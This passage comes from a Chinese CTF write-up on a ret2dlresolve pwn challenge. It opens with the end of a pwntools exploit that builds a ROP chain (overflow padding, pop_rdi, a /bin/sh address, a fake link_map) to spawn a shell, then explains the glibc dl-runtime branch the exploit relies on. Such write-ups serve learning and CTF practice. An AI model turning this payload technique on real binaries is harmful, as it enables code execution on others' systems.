bin_sh_addr = fake_link_map_addr+0x100

payload = b'a'*(0x20+0x8)+p64(pop_rdi) + \
p64(bin_sh_addr)+p64(read_load_plt) + \
p64(fake_link_map_addr)+p64(0)
r.sendline(payload)
r.interactive()

这里再次审视这段exp,可以发现l_addr其实就是read函数和system函数之间的差值,而sym->d_val就是read函数的地址,并且可以将这篇文章的代码进行编译会发现他的got表中read函数不是首位,第一个函数是_libc_start_main这也刚好可以让sym->st_other不为0从而进入else。

与Full的差别

可以很明显的看出来,这道题目所利用的方式其实是走的if分支而不是else,因为这道题压根没给libc所以无法计算偏移。虽然我在构造sym结构体的时候选择了read@got - 8的位置,但是属于是瞎猫碰到死耗子这个题目中的read就是got表中的第一个函数,所以才没有导致sym->st_other为非0。

可能大家会疑惑为什么这里能够走上面的if语句,又是因为运气好(可能是做题运气用完了,国赛啥都没抽到😭),在进行时ndx又是为0。当然如果不为0我们可以采取上面的第二种办法,直接覆盖0x1d0为0即可。

image-20230728222143061


参考链接:

https://inaz2.hatenablog.com/entry/2014/07/29/020112

https://elixir.bootlin.com/glibc/latest/source/elf/dl-runtime.c#L41

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量